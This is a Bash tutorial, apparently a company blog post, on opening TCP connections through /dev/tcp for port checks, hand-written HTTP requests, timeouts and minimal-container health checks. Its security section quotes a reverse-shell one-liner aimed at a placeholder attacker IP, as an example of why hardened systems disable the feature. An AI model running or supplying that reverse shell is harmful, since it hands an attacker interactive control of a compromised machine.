Open TCP connections without installing a single external tool
Bash can open TCP sockets, build HTTP requests by hand, and test ports without curl, wget, or netcat, through the built-in /dev/tcp pseudo-device. Understanding the mechanics helps you secure minimal containers and restrictive environments, but you also need to know the clear limits: no TLS, no UDP with real feedback, and no header control like a real HTTP client offers.
Table of Contents
- 1. What /dev/tcp is and how Bash wires it in
- 2. Opening a TCP connection with exec and file descriptors
- 3. Building an HTTP request by hand over /dev/tcp
- 4. Practical use cases: connection tests and health checks
- 5. Timeouts and error handling for /dev/tcp connections
- 6. Limit number one: no TLS and no HTTPS
- 7. Limit number two: /dev/udp and missing low-level control
- 8. Security considerations: /dev/tcp as a double-edged tool
- 9. When /dev/tcp pays off and when curl or netcat are the better choice
- 10. Summary
- 11. FAQ
1. What /dev/tcp is and how Bash wires it in
/dev/tcp is not a real path on the filesystem, it is a pseudo-device that only exists inside Bash itself. Whenever the parser encounters a redirection path starting with /dev/tcp/HOST/PORT or /dev/udp/HOST/PORT while interpreting a redirection, Bash does not touch the real filesystem at all. Instead it opens a connection to the host and port internally through the kernel's socket API and exposes the result as an ordinary file descriptor. That is also why ls /dev/tcp shows nothing, the path is intercepted purely at the syntax level by Bash.
This feature has to be enabled at compile time, which is the case in practically every mainstream distribution such as Debian, Ubuntu, Alpine's Bash package, and macOS, but is not guaranteed on every minimal or hardened build. Anyone relying on /dev/tcp in a script meant to run on unknown target systems should verify beforehand whether the feature is actually available instead of blindly assuming every Bash installation ships with it.
#!/usr/bin/env bash
set -euo pipefail
# Check whether this Bash build actually supports /dev/tcp before relying on it
if (exec 3<>/dev/tcp/127.0.0.1/1 2>/dev/null); then
echo "/dev/tcp is supported"
else
echo "/dev/tcp is NOT supported on this Bash build" >&2
fi
2. Opening a TCP connection with exec and file descriptors
The usual way to open a connection is exec combined with a custom file descriptor number, typically 3 or higher, since 0, 1, and 2 are reserved for standard input, output, and error. The expression exec 3<>/dev/tcp/example.com/80 opens the socket for both reading and writing on the same descriptor, which is exactly the right behavior for most request-response protocols like HTTP, since a single descriptor covers both directions.
If the connection fails, for example because the target port has no listener, exec aborts with an error message such as Connection refused on standard error and returns a non-zero exit status. It matters to actually check that status, because without set -e or an explicit check, a script simply keeps running with an invalid file descriptor after a failed connection attempt, leading to cryptic follow-up errors on every later read or write.
#!/usr/bin/env bash
set -uo pipefail
if exec 3<>/dev/tcp/example.com/80; then
echo "Connected to example.com:80 on fd 3"
else
echo "Connection failed" >&2
exit 1
fi
exec 3>&- # close the write side
exec 3<&- # close the read side
3. Building an HTTP request by hand over /dev/tcp
Because /dev/tcp only delivers a raw byte stream, the entire HTTP protocol has to be written by hand: the request line with method, path, and protocol version, followed by the required headers, at minimum Host, since many servers respond with an error without it, and a trailing blank line, which the HTTP specification requires to mark the end of the headers. The whole request is written with printf instead of echo, because printf reliably produces the \r\n line ending HTTP mandates.
The response is then read line by line with read, or entirely with cat <&3, keeping in mind that the status line, headers, and body are separated by the same blank line as in the request. For simple purposes such as checking the HTTP status code, it is enough to read just the first line of the response and extract the code with a regular expression, rather than parsing the entire response, which keeps the script noticeably shorter and more robust.
#!/usr/bin/env bash
set -euo pipefail
readonly HOST="example.com"
readonly PORT="80"
exec 3<>/dev/tcp/"$HOST"/"$PORT"
printf 'GET / HTTP/1.1\r\nHost: %s\r\nConnection: close\r\n\r\n' "$HOST" >&3
read -r status_line <&3
echo "Status: $status_line"
# Read remaining headers until the blank line separating headers and body
while IFS= read -r header && [[ -n "${header%$'\r'}" ]]; do
echo "Header: $header"
done <&3
exec 3>&-
exec 3<&-
4. Practical use cases: connection tests and health checks
The strongest practical benefit of /dev/tcp shows up in minimal container images that deliberately skip extra binaries like curl or netcat to keep the attack surface and image size small. In a distroless or Alpine image without those tools, Bash is often the only tool available to check whether a database, cache, or backend service is already listening on its port before the actual application process starts.
A classic pattern for this is a wait loop that repeatedly attempts to open a connection to a target port and only proceeds once the connection succeeds. Scripts like this are commonly used in Docker entrypoints or Kubernetes init containers to make sure dependent services are ready before the main application starts, replacing external wait tools like wait-for-it.sh, which would themselves depend on nc again.
#!/usr/bin/env bash
set -uo pipefail
wait_for_port() {
local host="$1" port="$2" retries="${3:-30}"
local i=0
until (exec 3<>/dev/tcp/"$host"/"$port") 2>/dev/null; do
((i++))
if (( i >= retries )); then
echo "Timed out waiting for $host:$port" >&2
return 1
fi
sleep 1
done
echo "$host:$port is reachable"
}
wait_for_port "database" 5432
5. Timeouts and error handling for /dev/tcp connections
Bash ships no built-in timeout option for /dev/tcp, because the connection attempt is ultimately an ordinary connect() system call that, depending on network conditions, can hang for a long time, for example when a firewall silently drops packets instead of actively rejecting them. Without extra safeguards, a script can therefore block for minutes until the operating system itself triggers an internal timeout, which is unacceptable for automated health checks.
The reliable fix is wrapping the whole connection attempt in a subshell and bounding it with the external timeout command, since timeout forcibly kills the process by signal once the deadline passes. It matters to distinguish three different failure modes: an immediate Connection refused on a closed port, a Name or service not known on a DNS failure, and a silent hang that only timeout reliably terminates.
#!/usr/bin/env bash
set -uo pipefail
readonly HOST="internal-service"
readonly PORT="8080"
if timeout 3 bash -c "exec 3<>/dev/tcp/$HOST/$PORT" 2>/dev/null; then
echo "Reachable within 3 seconds"
else
code=$?
if (( code == 124 )); then
echo "Timed out after 3 seconds" >&2
else
echo "Connection failed (exit $code)" >&2
fi
fi
6. Limit number one: no TLS and no HTTPS
The most important limitation of /dev/tcp is that it only ever opens raw, unencrypted TCP connections. Bash has no built-in TLS stack, no certificate validation, and no way to perform a TLS handshake, because that would require a full cryptographic implementation nobody would reasonably want to build into a shell. An attempt to reach an HTTPS site directly on port 443 through /dev/tcp opens the TCP socket successfully, but returns nothing but unreadable, encrypted garbage as soon as a byte is sent or read.
Anyone who still needs encrypted communication can put openssl s_client in front as an external TLS terminator and exchange the decrypted data through it, but that gives up exactly the advantage /dev/tcp was supposed to offer in the first place: complete independence from external programs. For anything that needs real encryption, such as querying a production API, /dev/tcp is fundamentally the wrong choice, and credentials must never be sent over an unencrypted /dev/tcp connection.
7. Limit number two: /dev/udp and missing low-level control
Alongside /dev/tcp, Bash also offers /dev/udp, but because UDP is designed as a connectionless protocol, simply opening it says nothing about whether a service is even listening at the target. An exec 3<>/dev/udp/host/port practically always succeeds, regardless of whether the port is in use, because the kernel does not expect a handshake packet when opening a UDP connection. For real reachability checks, /dev/udp is therefore largely useless, unless the target protocol itself actively responds to a sent message.
Even for TCP, /dev/tcp offers no control over socket options such as keep-alive intervals, buffer sizes, or the Nagle algorithm that a real networking library would let you configure. There is no support for connection multiplexing like HTTP/2, no automatic connection reuse, and no way to manage several concurrent connections efficiently within a single Bash process, since every connection occupies its own blocking file descriptor.
8. Security considerations: /dev/tcp as a double-edged tool
The same property that makes /dev/tcp practical, namely that any Bash installation can open a network connection without any extra software, also makes it a popular building block for so-called reverse shells, where a compromised system opens an outgoing connection to an attacker. Security teams know the pattern bash -i >& /dev/tcp/ATTACKER_IP/PORT 0>&1 as one of the most well-known techniques out there, which is why some hardened environments deliberately compile Bash without network support or block outgoing traffic from Bash processes with an egress filter.
For production scripts, that has two consequences. First, /dev/tcp should only be used for internal, trusted connectivity checks, never to send sensitive data to external targets. Second, in security-critical environments it is worth checking whether your Bash build even supports /dev/tcp at all, since its absence can, in a monitoring context, actually be a signal of a deliberately hardened, and therefore more trustworthy, runtime environment.
9. When /dev/tcp pays off and when curl or netcat are the better choice
As a rule of thumb, /dev/tcp pays off exactly when a minimal environment has to get by without extra packages and the requirement is limited to a simple reachability check or a plain, unencrypted HTTP request. Once TLS, redirects, cookies, authentication, file uploads, or robust error handling with retry logic are needed, curl is almost always the better choice, because it already implements those cases and requires noticeably less error-prone code in your own script. Netcat, in turn, fits better for interactive sessions and arbitrary binary protocols beyond HTTP, where more control over the raw data stream is required.
| Tool | TLS/HTTPS | Availability | Typical use |
|---|---|---|---|
/dev/tcp (Bash) |
No | Built into Bash, no extra package | Minimal containers, simple health checks |
curl |
Yes | Usually needs installing | HTTP requests, APIs, redirects, auth |
netcat (nc) |
No (native) | Usually needs installing | Raw binary protocols, interactive sessions |
wget |
Yes | Usually needs installing | File downloads, recursion |
openssl s_client |
Yes | Usually present with openssl | Manually inspecting TLS handshakes |
Mironsoft
Shell automation, DevOps tooling and deployment infrastructure
Shell scripts that hold up in production?
We review existing Bash scripts, spot fragile patterns and replace them with robust Bash patterns: complete error handling, logging and safe parallelization for your deployment stack.
Code Review
ShellCheck analysis and manual review for critical Bash pattern violations.
Refactoring
Retrofitting error handling, logging and safe file operations.
CI Integration
Wiring ShellCheck and BATS into pipelines and building regression tests.
10. Summary
/dev/tcp in Bash: The Essentials at a Glance
Core idea
/dev/tcp/HOST/PORT is intercepted by Bash while parsing a redirection and opens a real TCP socket internally, with no external tool involved.
Opening a connection
exec 3<>/dev/tcp/host/port claims a free file descriptor that can be used for both reading and writing.
Biggest limit
No TLS, no HTTPS, no certificate handling. For anything encrypted, curl or openssl s_client remain the right choice.
Timeout required
Without the external timeout command, a connection attempt can hang for minutes against a firewall that silently drops packets.